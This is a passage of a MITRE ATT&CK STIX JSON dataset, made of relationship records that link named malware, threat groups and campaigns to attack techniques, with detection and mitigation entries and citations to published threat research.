2022)","modified":"2022-06-28T14:23:14.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce7b27ac-fff6-4d3c-bceb-50c16f462552","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-31T22:21:47.793Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve and execute additional [PowerShell](https://attack.mitre.org/techniques/T1059/001) payloads from the C2 server.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce801c17-399a-426a-a4ec-1b7361ba9d4d","type":"relationship","created":"2020-05-06T17:47:43.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-07-04T01:49:03.708Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to identify the IP of the infected host.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce8220fc-98ee-4b48-b98c-8be15a429410","type":"relationship","created":"2020-11-10T21:04:35.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T21:04:35.546Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) can monitor content saved to the clipboard.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce85101e-baca-4a1a-9352-9c9db89706a4","created":"2022-08-07T15:15:45.072Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect drive and file information on an infected machine.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce853f8b-4aab-4404-a8d0-d9d024f1eda6","type":"relationship","created":"2021-02-03T19:05:17.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.133Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can search for anti-virus products on the system.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce85be06-0f74-480e-b55a-df92f6989902","type":"relationship","created":"2019-01-29T18:55:20.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:52.965Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can capture data from the system’s microphone.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce8eb6bf-11cc-4d9f-a81a-57bd1422efb1","type":"relationship","created":"2020-11-08T23:26:13.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:26:13.891Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can execute PowerShell commands on the victim's machine.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce8fe693-19ee-4b56-9130-795f9d1738fe","created":"2022-04-18T16:49:23.736Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.","modified":"2022-04-18T16:50:07.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce903557-bfa5-4796-be0a-9211f08da2e7","created":"2022-09-21T14:51:33.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T20:56:06.171Z","description":"(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce95c6cf-0dc7-4f66-a329-7fbd833aa57e","type":"relationship","created":"2020-10-05T20:17:04.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-09T16:05:36.461Z","description":"Limit user accounts that can load or unload device drivers by disabling SeLoadDriverPrivilege.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce962c48-3390-4286-91bb-b38d7fb4f07a","type":"relationship","created":"2019-05-28T16:25:35.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware","source_name":"Cybereason TA505 April 2019"},{"description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat","source_name":"ProofPoint SettingContent-ms July 2018"},{"description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:47.676Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used spearphishing emails with malicious attachments to initially compromise victims.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"}],"modified":"2021-04-25T15:37:07.993Z","description":"[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-20T23:14:33.074Z","description":"[Daserf](https://attack.mitre.org/software/S0187) uses RC4 encryption to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce9f2e68-fbf0-4668-8ec6-89fefd10da7b","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for unusual kernel driver installation activity that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce9f3239-13ee-4741-b839-8e7c68d5f9ef","created":"2024-08-07T20:28:52.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:34:30.301Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can capture screenshots on targeted systems using a timer and either upload them or store them to disk.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cea07509-b84d-4b25-b9e8-758a8e66b3f1","type":"relationship","created":"2020-10-15T12:05:58.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco ARP Poisoning Mitigation 2016","url":"https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html","description":"King, J., Lauerman, K. (2016, January 22). ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Technique. Retrieved October 15, 2020."},{"source_name":"Juniper DAI 2020","url":"https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/understanding-and-using-dai.html","description":"Juniper. (2020, September 23). Understanding and Using Dynamic ARP Inspection (DAI). Retrieved October 15, 2020."}],"modified":"2021-07-28T01:04:39.490Z","description":"Consider enabling DHCP Snooping and Dynamic ARP Inspection on switches to create mappings between IP addresses requested via DHCP and ARP tables and tie the values to a port on the switch that may block bogus traffic.(Citation: Cisco ARP Poisoning Mitigation 2016)(Citation: Juniper DAI 2020)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cea08e8e-2209-4d29-bc76-722091344259","created":"2022-09-29T21:13:58.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:42:14.563Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used JavaScript code.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cea62da0-1d9f-40d8-adfb-ee40f6b1a345","created":"2023-09-28T13:33:59.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:36:12.073Z","description":"[Pacu](https://attack.mitre.org/software/S1091) leverages the AWS CLI for its operations.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cea7b276-d2be-4af4-adaf-28eb26079098","type":"relationship","created":"2021-09-24T19:53:21.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.919Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has collected the username from the victim's machine.(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceac12d5-3c40-42f6-a7df-0fa2e67bf1e8","type":"relationship","created":"2019-06-18T18:42:42.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.143Z","description":"(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ceadd093-d60f-452e-a145-671d010bba50","created":"2023-10-12T21:40:00.267Z","revoked":false,"external_references":[{"source_name":"netlab360 rotajakiro vs oceanlotus","description":"Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:40:00.267Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) has used the filename `systemd-daemon` in an attempt to appear legitimate.(Citation: netlab360 rotajakiro vs oceanlotus)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceadf11d-d89c-4ec6-a7a2-fe842570bb4c","type":"relationship","created":"2021-09-14T20:47:33.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.493Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can execute itself as a service.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceaf4145-f168-4bba-8480-d3650bcc657f","type":"relationship","created":"2020-08-13T17:22:45.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T17:22:45.929Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can upload additional files to a compromised host.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceb66bd9-3e75-4559-a0b9-3339a926cde6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.240Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cebd1b11-835d-4d96-b1cf-7836bf50f403","created":"2022-04-17T19:13:40.156Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) chooses its payload creation path from a randomly selected service name from netsvc.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-17T19:13:40.156Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cebe7625-3bb7-4353-9b48-cd4251410968","type":"relationship","created":"2020-05-06T21:31:07.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 